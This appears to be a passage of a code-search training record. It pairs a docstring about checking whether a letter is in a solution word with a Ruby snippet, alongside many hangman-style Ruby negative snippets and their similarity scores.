if @incorrect_letters.size == 6\n end\n print_hangman\n end", "def compare_letter(letter)\n \tif @wrong.include?(letter) || @right.include?(letter)\n \tputs \"You already guessed that letter\"\n \treturn \"\"\n\telsif word.include? letter\n\t\t@right << letter \n\telse \n\t\tputs \"Letter not in the word.\"\n\t\t@lives-=1\n\t\t@wrong << letter\n\tend\n\n end", "def check_for_correct_letters(user_guess)\n @correct_letters << user_guess.count do |guess_char|\n @solution.include?(guess_char)\n end\n end", "def show_word\n print \"The word was: #{@word} \\n\"\n puts \"\\n\"\n end", "def check_guess_count()\n if $guessed.count == 0\n puts \"\"\n elsif $guessed.count == 1\n puts \"So far you have incorrectly guessed the letter #{$guessed}\"\n else\n puts \"So far you have incorrectly guessed the letters #{$guessed}\"\n end\n end", "def check_guess(guess, secret_word)\n matches = []\n secret_characters = secret_word.split(//)\n\n # loop to find matches & wrong letters\n if secret_characters.include? guess\n secret_characters.each_with_index do |char, index|\n if char.include? guess\n @secret_display[index] = char\n end\n end\n else\n @wrong_guesses << guess\n @guess_count -= 1\n end\n end", "def word_checker(user_guess)\n i = -1\n instances = []\n# Checks for the index of the first instance of user_guess AFTER index number i\n# Stops when @word.index(user_guess,i+1) returns nil\n while i = @word.index(user_guess,i+1)\n instances << i\n end\n\n# replace dashes in word display with the correctly guessed letters\n instances.each do |i| @word_display[i] = user_guess end\nend", "def scrabble(word)\n\npoints = {\n \t\"a\" => 1,\n \t\"e\" => 1,\n \t\"i\" => 1,\n \t\"o\" => 1,\n \t\"u\" => 1,\n \t\"l\" => 1,\n \t\"n\" => 1,\n \t\"r\" => 1,\n \t\"s\" => 1,\n \t\"t\" => 1,\n \t\"d\" => 2,\n \t\"g\" => 2,\n \t\"b\" => 3,\n \t\"c\" => 3,\n \t\"m\" => 3,\n \t\"p\" => 3,\n \t\"f\" => 4,\n \t\"h\" => 4,\n \t\"v\" => 4,\n \t\"w\" => 4,\n \t\"y\" => 4,\n \t\"k\" => 5,\n \t\"j\" => 8,\n \t\"x\" => 8,\n \t\"q\" => 10,\n \t\"z\" => 10,\n }\n puts word\n\n #create a varialbe to store a Score\n score =0\n #go to letter by letter througth word\n word.each_char do |letter|\n #check in proint for a key that matches letter from word\n #take it's value add it to word\n score += points[letter] #try with puts = points[letter] !access to points\n #output message with the full score result\n\nend\n puts \"#{word} is worth #{score} points\" # TRY TO PUT THIS BEFORE END!!\nend", "def correctly_picked(game_data)\n missing_letters = game_data.randomly_picked_word - game_data.chosen_letters\n display_array = []\n game_data.randomly_picked_word.each do |letter|\n display_array << if missing_letters.include? letter\n ' _ '\n else\n \" #{letter} \"\n end\n end\n display_array.join\n end", "def secret_word\n puts \"Sorry you have failed at this game...\"\n puts \"Cat thinks you are very delicious.\"\n puts \"The answer was \\\"#{@word}\\\"\"\n end", "def check_guess\n if current_guess == secret_word\n player_won?\n else\n if secret_word.include? current_guess\n show_letter\n puts \"This word includes the guessed letter\\n\\n\"\n elsif current_guess == \"save\"\n create_save\n puts \"Game saved! Exiting game!\"\n exit\n else\n show_letter\n puts \"This word does not include the guessed letter\\n\\n\"\n end\n end\n end" ]
[ "0.81975496", "0.7793149", "0.7530711", "0.7485306", "0.7391476", "0.735982", "0.72266334", "0.7180469", "0.7134649", "0.7132773", "0.7106594", "0.71056545", "0.70474654", "0.70210266", "0.6996465", "0.6984805", "0.6981714", "0.69601464", "0.6913293", "0.69015723", "0.68710047", "0.6849822", "0.68301713", "0.6820314", "0.6815586", "0.6809239", "0.68031263", "0.6792691", "0.6791308", "0.6791308", "0.67743737", "0.67728996", "0.6768685", "0.67614335", "0.6745501", "0.67299455", "0.67028165", "0.66918427", "0.669067", "0.66881466", "0.6682136", "0.66690475", "0.66649586", "0.6663025", "0.6658953", "0.6629677", "0.6629096", "0.6623265", "0.6600445", "0.65757465", "0.6575345", "0.65734065", "0.6569449", "0.6565876", "0.6558954", "0.6556584", "0.6550084", "0.6547522", "0.6547033", "0.65414613", "0.65389013", "0.65245277", "0.6510095", "0.6508426", "0.65014297", "0.6501317", "0.6492013", "0.6490884", "0.6481991", "0.64772934", "0.64759094", "0.6475792", "0.6473257", "0.6470934", "0.64696056", "0.6466949", "0.6459956", "0.64589643", "0.644829", "0.6447128", "0.6434031", "0.6398082", "0.63894594", "0.6386711", "0.6385747", "0.63602173", "0.635156", "0.6342864", "0.63389885", "0.6337722", "0.6336698", "0.63366175", "0.63320357", "0.6330249", "0.6328797", "0.63283074", "0.63281447", "0.6322791", "0.63173914", "0.6312803" ]
0.7254813
6
Determines if a letter is contained in solution word.
def findMatch(char,word) (0..4).each do |j| if char.upcase == word[j].upcase return "? " end end return "X " end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def word_has?(letter)\r\n @word.include?(letter)\r\n end", "def word_has?(letter)\n @word.include?(letter)\n end", "def letter_in_word?(letter)\n end", "def is_a_letter?(guess)\n return true if @word.include?(guess)\n return false\n end", "def word_has?(letter)\n @word.include? letter\n end", "def contains(letter)\r\n @word.include?(letter)\r\n end", "def include?(letter)\n @guess_spaces +=1\n guessed_letter << letter\n if @real_word.include?(letter)\n letter_index = 0\n @real_word.each_char do |l|\n @guess_word[letter_index] = l if \n l == letter\n letter_index += 1\n end\n return true\n else\n return false\n end\n end", "def valid_word?(word, inner_letter, outer_letters)\n word.include?(inner_letter) && word.chars.uniq.all? {|l| @all_letters.chars.include?(l) }\n end", "def check_choice\n @word.downcase.include?(@letter)\n end", "def include?(word, letters)\n word.upcase.chars.all? { |letter| word.count(letter) <= letters.count(letter) }\n end", "def is_good?(letter)\n @letters.include?(letter)\n end", "def letter_check(letter)\n @word.chars.each_with_index do |letter_in_word, index|\n if letter == letter_in_word\n @result_str[index] = letter\n end\n end\n if !@word.include?(letter)\n puts \"Sorry try again\"\n end\n @result_str\n end", "def contains?(char)\r\n any_letter_found = false\r\n each do |letter|\r\n if char.upcase == letter.content\r\n letter.state = :found\r\n any_letter_found = true\r\n end\r\n end\r\n any_letter_found\r\n end", "def letter_match?(letter)\n if @secret.include?(letter)\n return true; end\n return false\n end", "def check_if_correct(word, letter)\n if word.include?(letter)\n index = word.index(letter)\n word[index] = '' # Clear the letter from word so it can check for other instances of letter\n @hints[index] = letter\n check_if_correct(word, letter) # It will loop through every instace of letter on word\n elsif !@hints.include?(letter)\n @incorrect.push(letter) unless @incorrect.include?(letter)\n @lives += 1\n end\n end", "def letter_test(letter)\n # If it is in the word pass it to find_locations(), if not pass it to wrong_letter()\n $word.include?(letter) ? find_locations(letter) : wrong_letter(letter)\nend", "def fail_letter?(letter)\n return @secret_word.include?(letter) ? false : letter\n end", "def word_contained_in_letters?(word, letters)\n word.chars.all? do |char|\n if pos = letters.index(char)\n letters.delete_at(pos)\n true\n else\n false\n end\n end\nend", "def letter_used?(letter)\n @letters.each do |entry|\n if entry == letter\n return true; end\n end\n return false\n end", "def has_letter(c, word)\n word.each_char do |i|\n if i == c\n return true\n end\n end\n false\nend", "def check_guessed_letter(word,letter,available_letters)\n\n\tif word.include?(letter)\n\t\treturn 0\n\telsif !available_letters.include?(letter)\n\t\treturn 0\n\telse\n\t\t$missed_letters.push(letter)\n\t\treturn -1\n\tend\nend", "def letters?(word)\n\t\t# Split word and check if each letter is within the range a-z\n\t\tword.split('').each do |letter| # Use each loop as it is slightly better in performance, 'letter' iterator is encapsulated in a way that it cannot be accessed beyond each loop\n\t\t\treturn false unless(START_LETTER..END_LETTER).include? letter\n\t\tend\n\t\ttrue # All characters in word are letters from a-z\n\tend", "def check_word(word)\n letters = make_letter_array(@tiles)\n w = word.split(\"\")\n for letter in w\n if letters.index(letter)\n letters[letters.index(letter)] = nil\n letters.compact!\n else\n return false\n end\n end\n return true\n end", "def guessed?\n \t(word.split('') - selected_letters).empty?\n\tend", "def guess? (letter)\n \t\tif word.include?(letter)==true\n \t\tvalid_guess(letter)\n \telse\n \t\tinvalid_guess(letter)\n \tend\n end", "def is_all_this_letter?(word, character)\n a = is_all_as?(word)\n\n end", "def guesses_include_in?(letter)\n #puts @word\n word = @word.split(\"\")\n guessChar = @guesses.split(\"\")\n #puts \"***guesses_include_in? #{word} #{guessChar}\"\n word.each do |w|\n guessChar.each do |g|\n #puts \"w == g && g == letter\"\n #puts \"#{w} == #{g} && #{g} == #{letter} ==> #{w == g && g == letter}\"\n if w == g && g == letter\n return true\n else\n #return false\n end\n end\n\n end\n return false\nend", "def test_8_return_false_if_letter_not_in_word\r\n $word = \"test\"\r\n letter = \"d\"\r\n results = letter_test(letter)\r\n assert_equal(false, results)\r\n end", "def test_7_return_true_if_letter_in_word\r\n $word = \"test\"\r\n letter = \"e\"\r\n results = letter_test(letter)\r\n assert_equal(true, results)\r\n end", "def check_letter(input_letter)\n # Each time we check, the number of guesses is increased \n @guess_count += 1\n \n # Transform the words into arrays for convenience\n arr_word_to_guess = @word_to_guess.split('') \n arr_guessed_word = @guessed_word.split('') \n \n # Search for the input_letter in arr_word_to_guess\n index_found = arr_word_to_guess.each_index.select{|i| arr_word_to_guess[i] == input_letter}\n \n if (index_found == []) then\n return false \n else \n # if the letter is found, update the guessed word\n n_found = index_found.size\n i = 0 \n n_found.times do \n arr_guessed_word[index_found[i]] = input_letter\n i += 1\n end\n @guessed_word = arr_guessed_word.join('')\n return true\n end \n end", "def words_that_contain(letter)\n letter_count(letter)\n end", "def guess?(letter)\n if @guessed_letter.include?(letter)\n puts \"You already guessed that letter!\"\n return\n end\n @guessed_letter << letter\n ​\n found = false\n if @characters.include?(letter)\n found = true \n puts \"Yes that letter is in the word!\"\n else\n puts \"Wrong answer!\"\n end \n ​\n @characters.each_with_index do |char, index|\n if char == letter\n @displayed_character[index] = letter\n end\n end\n found\n end", "def guess?(letter)\n if !self_is_letter?(letter)\n puts \"Not a letter!\"\n return false\n end\n if @word.include? letter\n if(@word.count(letter) > 1)\n while(@word.include? letter)\n puts \"Hit this while loop\"\n index = @word.index(letter)\n @word.slice!(index,0)\n @word[index] = '_'\n\n puts \"Word\" + @word\n @guessedWord.slice!(index,0)\n @guessedWord[index] = letter\n\n end\n else\n index = @word.index(letter)\n\n @guessedWord.slice!(index,0)\n @guessedWord[index] = letter\n\n\n\n end\n\n\n output_word()\n return true\n end\n p \"Word does not contain #{letter}\"\n @health -= 1\n p \"you have #{@health} tries left\"\n return false\n end", "def already_guessed? (letter)\r\n letter = letter.downcase\r\n @guessed_letters.include? letter\r\n end", "def finder?(word, letter)\n word.upcase.include?(letter.upcase)\nend", "def check_guess\n\t\t@word.include?(@guess)\n\n\tend", "def win?\n @correct_letters.join == @secret_word\n end", "def check_letter_in_random_word(guess_letter)\n position_letter = 0\n @correct_guess = false\n @random_word.each_char do |letter_random_word|\n if letter_random_word == guess_letter\n change_guess_word_status(position_letter)\n @correct_guess = true\n end\n position_letter += 1\n end\n if @correct_guess == true\n line_of_30_stars\n puts \"WhoopWhoop: Letter '#{guess_letter}' is in the word!\\n\"\n else\n line_of_30_stars\n puts \"No, sorry, '#{guess_letter}' isn't in the word.\"\n end\n end", "def duplicates?(word)\n\t\t# Go through the range a-z counting if each letter is only in the word string 0 or 1 times\n\t\t(START_LETTER..END_LETTER).all? { |letter| word.count(letter) <= 1 } # will automatically return true or false\n\tend", "def guess(letter)\n is_letter = /^[a-zA-Z]$/\n if letter.nil? or letter.empty? or not letter.match(is_letter)\n throw ArgumentError \n end\n letter.downcase!\n if self.guesses.include? letter or self.wrong_guesses.include? letter\n return false\n end\n if self.word.include? letter\n self.guesses = self.guesses + letter\n else\n self.wrong_guesses = self.wrong_guesses + letter\n end\n return true\n end", "def valid_play?(letter)\n return false unless ALPHABET.include?(letter)\n\n potential_fragment = fragment + letter\n dictionary.any? { |word| word.start_with?(potential_fragment)}\n end", "def include?(word)\n find_word(word) { |found, current| return found && current.is_word }\n end", "def check_within(guess)\n\t\t@target_word.include? guess\n\tend", "def legal?(word)\n\t\tself.is_length(word) && self.letters?(word) && self.duplicates?(word) # Will return true or false if given word is legal/not legal\n\tend", "def is_word?(word)\r\n word = word.downcase\r\n word.each_char { |c| return false if not is_letter?(c) }\r\n !word.empty?\r\n end", "def is_letter?(letter)\r\n (Alphabet.include? letter.downcase) && (letter.length == 1)\r\n end", "def is_valid_word?(word)\n DICTIONARY.include?(word)\n end", "def valid_word?(word, letters)\n # take the word from user and split into Array of each letter\n input_word = word.upcase.split('')\n # iterate over the array of letters then\n # .all? checks each condition, returns T/F >>>\n # count of characters in input and the array @letters\n input_word.all? { |letter| input_word.count(letter) <= letters.count(letter) }\n end", "def authorized?(letter, word, x, y)\n (0...self.size).member?(x) && (0...self.size).member?(y) && (@grid[x][y] == nil) &&\n @words.include?(word) && (/#{letter}/ =~ word)\n end", "def included?(guess, letters)\n guess.chars.all? { |letter| guess.count(letter) <= letters.count(letter) }\n end", "def guess_letter?(letter)\r\n\r\n\t\t#Add 1 to the total number of guesses in game IF not already guessed (in the guesses array)\r\n\t\tif @guesses.index(letter) == nil\r\n\t\t\t@guesses << letter\r\n\t\t\t@num_of_guesses += 1\r\n\t\tend\r\n\r\n\t\t#If the letter exists (aka returns valid index)\r\n\t\t# 1. Loop through letters in word and compare to the guessed letter\r\n\t\t# 2. If guessed letter = original letter in word, set board = to letter in that index\r\n\t\t# 3. Return True\r\n\t\t#Else if the letter does not exist in word array\r\n\t\t# 1. Return False\r\n\t\tif @word_array.index(letter)\r\n\t\t\tindex = 0\r\n\t\t\t@word_array.each do|i|\r\n\t\t\t\tif letter == i\r\n\t\t\t\t\t@board_array[index] = letter\r\n\t\t\t\tend\r\n\t\t\t\tindex+=1\r\n\t\t\tend\r\n\t\t\ttrue\r\n\t\telse\r\n\t\t\tfalse\r\n\t\tend\r\n\tend", "def valid_guess?(letter)\n letter.length==1 && (\"a\"..\"z\").include?(letter)\n end", "def submit_word(word)\n letters_present_for(word) && @dictionary.include?(word)\n end", "def check_player_words(player_guess_word)\n word.chomp.chars.each_with_index{\n |item, index|\n if item == player_guess_word.chomp.chars[index].to_s # exactly equal and in the same postion\n result = \"Exact\"\n elsif word.chomp.include?(player_guess_word.chars[index].to_s) # just includes the letter\n result = \"Near\"\n else # other condition that either not exact nor includes is.\n result = \"Miss\"\n end\n sleep(SLEEP_TIME) # just stop for a time make a good user experience\n puts \"Letter: #{player_guess_word.chars[index]} : #{result}\"\n }\n end", "def setguessedletter(letter)\n\t\t@letter_exists = false\n\t\t\n\t\t@guessed_letters.each do |char|\n\t\t\tif char == letter\n\t\t\t\t@letter_exists = true\n\t\t\tend\n\t\tend\n\t\treturn @letter_exists\n\tend", "def has?(word)\n expand.each { |phr| return true if phr.include? word }\n false\n end", "def easy_block_word?(word)\n word.chars.all? { |letter| BLOCKS.join.include?(letter) }\nend", "def check_word(letter)\n i = 0\n @secret_word.each_char do |char|\n if char == letter\n @display_word[i] = letter\n end\n i += 2 ##because in display word after each letter or underscore there is a space\n end\n return @display_word\n end", "def\tgood_guess?(g)\n\t\t@word_array.include?(g)\n\tend", "def\tgood_guess?(g)\n\t\t@word_array.include?(g)\n\tend", "def find_word(letters, unused, mask, target_word, idx, adj_matrix)\n 0.upto mask.length do |letter_idx|\n if (mask[letter_idx] and\n unused[letter_idx] and\n (letters[letter_idx] == target_word[idx]))\n if idx == target_word.length - 1\n return true\n else\n unused[letter_idx] = false\n return find_word(letters, unused, adj_matrix[letter_idx],\n target_word, idx + 1, adj_matrix)\n end\n end\n end\n return false\nend", "def guess!(letter)\n self.word.include? letter\n self.letter = letter\n end", "def check_guess(player_guess, display)\n letter_found = false\n @secret_word.chars.each_with_index do |char, index|\n if char.downcase == player_guess\n display[index] = char\n letter_found = true\n end\n end\n letter_found\n end", "def guess_letter(a_letter)\n p a_letter.downcase\n @word.split(\"\").each_with_index do |another_letter, index|\n if a_letter == another_letter\n @input_word[index] = a_letter\n puts \"Correct! Here are your guesses so far\"\n p @input_word\n end\n if !@word.include? (a_letter)\n end\n end\n end", "def valid_word_for_board?(letters, word)\n letters.each_with_index do |row, i|\n row.each_with_index do |letter, j|\n if word[0] == letter\n if make_word_from_board?(letters, word, i, j)\n return true\n end\n end\n end\n end\n false\n end", "def extra_letter( dict_word, word )\n\n\tnum = word.length - 1\n\n\t# Remove a letter from the test word to see if a match results\n\tnum.times do |i|\n\n\t\ttest_word = word[0, i+1] + word[i+2, num]\n\n\t\t# Match made\n\t\treturn true if @dictionary[test_word]\t\n\tend\n\n\t# No match found\n\treturn false\nend", "def solved? (guesses, word)\n\tsolved = true\n\thits = []\n\tword.length.times do |i|\n\t\thits << word[i]\n\tend\n\thits.each do |hit|\n\t\tunless guesses.include? hit\n\t\t\tsolved = false\n\t\tend\n\tend\n\tsolved\n\n\n\t\nend", "def is_word?(fragment)\n dictionary.include?(fragment)\n end", "def negative?(word)\n [ 'dull',\n 'boring',\n 'annoying',\n 'chaotic'\n ].include?(word)\nend", "def check_winner\n @word.downcase.chars == @guess\n end", "def all_letters_guessed?\n @word_to_guess.each do |letter_in_word_to_guess|\n if !has_been_guessed_correctly?(letter_in_word_to_guess)\n return false\n end\n end\n return true\n end", "def block_word?(word)\n letters = BLOCKS.dup\n chars = word.upcase.chars\n\n chars.each do |char|\n return false unless letters.join.include?(char)\n letters.delete_at(letters.join.index(char)/2)\n end\n\n true\nend", "def secret_word_guessed?\n\t\t@secret_word.split(\"\").all? { |letter| @guessed_letters.include?(letter) }\n\tend", "def word_char?(char)\n char =~ /\\w+/\n end", "def guess_correct(letter)\n\t\tif @secret_word.include?(letter)\n\t\t\t@secret_word.each_with_index do |correct, index|\n\t\t\tif letter == correct\n\t\t\t\t@display[2*index+1] = letter\n\t\t\t\tputs @display\n\t\t\t\t@attempted_letters << letter\n\t\t\t\tend\n\t\t\tend\n\t\t\t@number_of_guesses -= 1\n\t\t\treturn true\n\t\telse \n\t\t\treturn false\n\t\tend \n\tend", "def guess(letter)\r\n\t\t\r\n\t\tif(@word.include?(letter))\r\n\t\t @good_guesses.add(letter)\r\n\t end\r\n\t\r\n\tend", "def starts_and_ends_with_same_letter?(word)\nend", "def check_guess(word, guess)\n if word.include? guess\n @correct_guess = true\n\n elsif !word.include? guess\n @correct_guess = false\n end\nend", "def include?(word)\n @words[word[0]].include? word\n end", "def is_possesive? word\n return true if $possesive_words.include? word.downcase\n return false\n end", "def is_win?\n @matched_letters == @secret_word ? true : false\n end", "def check_word(str, word)\n if str == word\n puts \"Congratulations! You guessed my word correctly!\" \n @game_is_over = true\n else\n false\n end\t\n end", "def block_word?(str)\n return false unless str.chars.uniq.size == str.size\n char_arr = str.upcase.chars\n char_arr.none? { |char| char_arr.include?(BLOCK_PAIRS[char]) }\nend", "def contains?(word)\n if word.length > 0\n if /lab/ =~ word\n puts \"#{word} contains the string 'lab'\"\n else\n puts \"Not in that word.\"\n end\n else\n puts \"Please specify a word.\"\n end\nend", "def query(letter)\n @string.push(letter)\n pointer = @trie\n @string.reverse_each do |char|\n if ! pointer[char]\n # Can not move the pointer to the new char.\n return false\n end\n pointer = pointer[char]\n # This is an end of a work.\n return true if pointer[:end]\n end\n # Did not find a word.\n return false\n end", "def check_word(word)\n valid_words.include?(word)\n end", "def block_word?(string)\n hash = { 'B' => 'O', 'G' => 'T', 'V' => 'I', \n 'X' => 'K', 'R' => 'E', 'L' => 'Y',\n 'D' => 'Q', 'F' => 'S', 'Z' => 'M',\n 'C' => 'P', 'J' => 'W', 'N' => 'A', 'H' => 'U'}\n\n banned_letters = []\n bool = true\n letters = string.upcase.chars\n letters.each do |letter|\n if hash.has_key?(letter)\n banned_letters << hash[letter]\n elsif hash.has_value?(letter)\n banned_letters << hash.key(letter)\n end\n end\n banned_letters.each do |letter|\n if letters.include?(letter)\n bool = false\n break\n else\n next\n end\n end\n bool\nend", "def compare_letter(letter)\n \tif @wrong.include?(letter) || @right.include?(letter)\n \tputs \"You already guessed that letter\"\n \treturn \"\"\n\telsif word.include? letter\n\t\t@right << letter \n\telse \n\t\tputs \"Letter not in the word.\"\n\t\t@lives-=1\n\t\t@wrong << letter\n\tend\n\n end", "def uses_available_letters? (input, letters_in_hand)\n letters_in_hand.join.include? input\nend", "def has_been_guessed_correctly?(in_letter)\n @letters_tried.any? {|letter_combo|letter_combo[:letter] == in_letter && letter_combo[:correct] == true}\n end", "def check_word(word)\n if self.player.word_list.include?(word)\n puts \"Already found that one!\"\n elsif word.length < 4\n puts \"That word is too short. Words must be 4 letters or longer.\"\n elsif word.chars.include?(self.board.inner_letter) == false\n puts \"Missing center letter.\"\n elsif self.board.word_list.include?(word)\n #get points total for word\n points = self.board.get_word_value(word)\n self.player.add_points(points)\n #adds word to wordlist\n self.player.add_word(word)\n if self.board.pangram?(word)\n puts \"🐝 PANGRAM FOUND 🐝\"\n puts \"The bees are pleased. #{points} added to your score.\"\n else\n puts \"#{self.nice_messages.sample} #{points} point#{\"s\" if points > 1} added to your score.\"\n end\n self.player.display_total\n else\n puts \"Not in word list :(\"\n end\n end", "def ordered_letters?\n # we could just run `@word == ordered_letters` but this is faster\n 1.upto(@word.length - 1) do |i|\n return false unless @word[i] >= @word[i - 1]\n end\n true\n end", "def check_word(word, rack)\n if rack.include?(\"?\") ? blank_tile = true : blank_tile = false\n end\n # Make a copy of rack to use to change values.\n rack_copy = rack.clone\n # result equals true and only goes false if a letter from rack isn't in the word\n result = true\n word.chars do |letter|\n if rack_copy.include?(letter)\n # Find the first instance of letter by its index and delete it at index.\n # This must be down to avoid .include? returning true on a letter multiple\n # times\n rack_copy.delete_at(rack_copy.index(letter))\n # If the letter isn't in rack but theres a blank tile then go back to start\n # of loop\n elsif blank_tile\n # change to false to avoid using blank tile more than once\n blank_tile = false\n # if the letter doesn't exist than turn result to false and break loop\n else\n result = false\n break\n end\n end\n result\nend", "def check_letter(in_letter)\n # find out if this is a correct guess\n correct_status = false\n if word_to_guess.include? in_letter\n correct_status=true\n else\n # bad guess; decrement number_guesses_left\n @number_guesses_left -= 1\n end\n # put letter in letters_tried with correct/wrong status\n new_letter_combo = {\n letter: in_letter,\n correct: correct_status\n }\n letters_tried.push(new_letter_combo)\n return correct_status\n end", "def good_guess?\n @code_word.include?(@word_guesser.guess)\n end", "def check_letters(letter)\n progress(letter)\n count = 0\n @word_to_guess.each do |char|\n if char == letter\n @hidden_word[count] = letter\n else\n @hidden_word \n end\n count +=1 \n end\n puts @hidden_word\n @hidden_word\n end", "def correct_guess?(letter)\n if @word_selected.include?(letter)\n if @correct_guesses.empty?\n @correct_guesses << letter\n elsif @correct_guesses.include?(letter)\n puts 'Letter already guessed! try another one!'\n else\n @correct_guesses << letter\n end\n return true\n end\n false\n end", "def mutation?(base_word, mutation)\n x = mutation.split('')\n x.each do |letter|\n if base_word.include?(letter)\n @answer = true\n else \n @answer = false\n break\n end\n end \n @answer\nend", "def word_in_the_grid?(attempt, grid)\n attempt_array = attempt.upcase.split('')\n attempt_array.each do |letter|\n return false if attempt_array.count(letter) > grid.count(letter)\n return false unless grid.include? letter\n end\n true\n end", "def includes?(word:, current_node: @root)\n existing_node = current_node.find_child(letter: word[0])\n\n return false if existing_node.nil?\n return existing_node.word_end? if word.length == 1\n\n includes?(word: word[1..-1], current_node: existing_node)\n end", "def win?\n if word_guessed.select{|x| x!=\"_ \"}.count == @word.length\n \t\treturn true\n \telse\n \t\tfalse\n \tend\n end" ]
[ "0.8241431", "0.81953824", "0.81838804", "0.8148832", "0.81416166", "0.81149185", "0.783519", "0.7718781", "0.7601324", "0.75153035", "0.74810106", "0.7462446", "0.74621785", "0.7406686", "0.7385139", "0.7356739", "0.73504966", "0.7336687", "0.7293635", "0.7256151", "0.7227156", "0.7206864", "0.71949756", "0.71935755", "0.71922284", "0.7161178", "0.7158555", "0.709584", "0.7084927", "0.7073512", "0.70653874", "0.7061816", "0.7039763", "0.70322067", "0.7028465", "0.70183027", "0.7004223", "0.70013773", "0.6990672", "0.69810843", "0.69586813", "0.6942413", "0.69423354", "0.6942082", "0.69264483", "0.69229996", "0.6921266", "0.69208497", "0.6907412", "0.6895839", "0.68891406", "0.6857777", "0.68571395", "0.6855311", "0.6835993", "0.6835105", "0.6816862", "0.67924213", "0.67886335", "0.67886335", "0.67727447", "0.67717147", "0.6733068", "0.6731129", "0.67275804", "0.6710761", "0.6707817", "0.67055607", "0.6702848", "0.6686708", "0.66720915", "0.66630316", "0.66613895", "0.6657693", "0.6654137", "0.6651357", "0.66500026", "0.6647975", "0.6643733", "0.6640265", "0.6640205", "0.66336536", "0.6632856", "0.66311634", "0.66209173", "0.6618882", "0.6615619", "0.6602736", "0.66021246", "0.65991604", "0.65970117", "0.6589262", "0.6587791", "0.6586609", "0.658579", "0.65813845", "0.6576224", "0.65662944", "0.65652835", "0.6557652", "0.655738" ]
0.0
-1
Ask user for new guess word.
def takeGuess guess = gets.chomp if guess.length == 5 return guess else if guess.downcase == "quit" overwrite($linesPrinted, true) exit 0 end puts "Word must have 5 characters" $linesPrinted += 2 takeGuess end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def guess_hidden_word\n puts (\"Enter your guess: \")\n end", "def ask_guess\n guess = gets.chomp.downcase\n check_guess_is_valid?(guess) ? guess : ask_guess\n end", "def make_guess\n puts \"Make a guess:\"\n @current_guess = gets.chomp\n unless good_guess?\n puts \"That is an invalid guess, please try again!\"\n @current_guess = gets.chomp\n end\n puts\n guesses << current_guess unless current_guess == \"save\" || current_guess == secret_word\n end", "def word_guess\n puts \"\\nYou want to guess the whole word.\"\n print \"Please enter what you think the word is: \"\n word_guess = gets.chomp.upcase\n\n if word_guess == @random_word\n line_of_30_stars\n @win = true\n else\n line_of_30_stars\n puts \"No sorry, #{word_guess} is not right...\"\n @failed_attempts += 1\n if @failed_attempts == 10\n @lose = true\n end\n end\n end", "def prompt_for_guess\n puts (\"1. Enter a vowel.\")\n\tputs (\"2. Enter a consonant.\")\n\tputs (\"3. Guess the entire word.\")\n\tputs (\"(Enter your letter choice now. If you enter more than a letter than its your own fault.)\")\n end", "def ask_for_guess\n @guess_count += 1\n @guess = get_code(\"Please enter your guess in the format 'color color color color'(to list available color options enter 'options'):\")\n end", "def guessed_word(word)\n\t\tif @ans_word == word\n\t\t\tputs \"You are a genious\"\n\t\telse\n\t\t\tputs \"guess again\"\n\t\t\t@guess_word.pop\n\t\tend\n\tend", "def guess(name)\n choose(name)\n click_button(\"Guess\")\n end", "def take_a_guess\n puts \"Guess a letter or word: \"\n guess = gets.chomp.downcase\nend", "def get_new_letter\n loop do\n puts \"What letter would you like to guess?\"\n @guess = gets.chomp.downcase\n break if valid_letter?(@guess)\n end\n end", "def enter_guess\n\t\t@guess = nil\n\t\tuntil valid_guess?(@guess)\n\t\t\tputs \"Please enter your guess (A-Z) now, or type 'save' to save (and quit):\"\n\t\t\t@guess = gets.chomp.upcase\t\t\n\t\tend\n\tend", "def guess\n # takes human input and stores guess\n puts 'Pick a letter'\n self.human_guess = gets.chomp\n end", "def choose_word\n case @game_mode\n when \"computer guess\"\n puts \"Choose a word! (It must be in the dictionary)\"\n @word = gets.chomp\n when \"human guess\"\n @word = computer_guess\n end\n end", "def solicit_guess\n\t\tputs \"\\nPlease input a letter!\"\n\t\tguess = gets.chomp.downcase\n\t\tif guess.downcase == \"save\"\n\t\t\t$save = true\n\t\telse\t\n\t\t\tuntil !(@guess_tracker.include?(guess)) && (guess.length == 1) && (guess <= 'z' && guess >= 'a')\n\t\t\t\tputs \"Unacceptable input (maybe you already guessed that?), please try again!\"\n\t\t\t\tguess = gets.chomp.downcase\n\t\t\tend\n\t\tend\n\t\tguess\n\tend", "def check_guess(user_guess)\n\t\t@guess_count += 1\n\t\tletter_guessed(user_guess)\n\t\tif @answer_word.include?(user_guess)\n\t\t\tupdate_word(user_guess)\n\t\t\tputs \"-- RIGHT ON! #{user_guess} is in the word! Keep going! --\"\n\t\telse \n\t\t\tputs \"-- WRONG! That letter is not in the word! Try again: --\"\n\t\tend\n\t\t@guess_count\n\tend", "def guess(guess)\r\n\t\t# Make sure the guess is either a letter or the whole word\r\n\t\tif guess.length != 1 && guess.length != @win_word.length\r\n\t\t\tp @remaining_guesses.to_s + \" guesses left\"\r\n\t\t\tp \"Guess a letter, or the complete word!\"\r\n\t\t# check for repeated guesses\r\n\t\telsif @past_guesses.include? guess\r\n\t\t\tp @remaining_guesses.to_s + \" guesses left\"\r\n\t\t\tp @hint\r\n\t\t\tp \"You guessed that already!\"\r\n\t\t# check if they guessed the entire word correctly\r\n\t\telsif guess == @win_word\r\n\t\t\twin\r\n\t\t# if the letter is not in the word\r\n\t\telsif !@win_word.include? guess\r\n\t\t\t# Add guess to arrayof past guesses\r\n\t\t\t@past_guesses << guess\r\n\t\t\tif @remaining_guesses == 1\r\n\t\t\t\tlose\r\n\t\t\telse\r\n\t\t\tguesses_remaining\r\n\t\t\tp @remaining_guesses.to_s + \" guesses left\"\r\n\t\t\tp @hint\r\n\t\t\tp \"Sorry, try again!\"\r\n\t\t\tend\r\n\t\t# if the letter is in the word\r\n\t\telsif @win_word.include? guess\r\n\t\t\t# Add guess to arrayof past guesses\r\n\t\t\t@past_guesses << guess\r\n\t\t\tguesses_remaining\r\n\t\t\tp @remaining_guesses.to_s + \" guesses left\"\r\n\t\t\tupdate_hint(guess)\r\n\t\t\tif @hint_str == @win_word\r\n\t\t\t\twin\r\n\t\t\telse\r\n\t\t\t\tp \"Nice guess!\"\r\n\t\t\tend\r\n\t\telse\r\n\t\t\tp \"Error\"\r\n\t\tend\r\n\r\n\tend", "def guess_again\n puts (\"Would you like to enter another guess? (y/n)\")\n end", "def guess(rand_word)\n puts \"enter a letter\"\n letter = gets.chomp.downcase\n display_word(rand_word,letter)\nend", "def guess_letter(letter)\n\t\tif 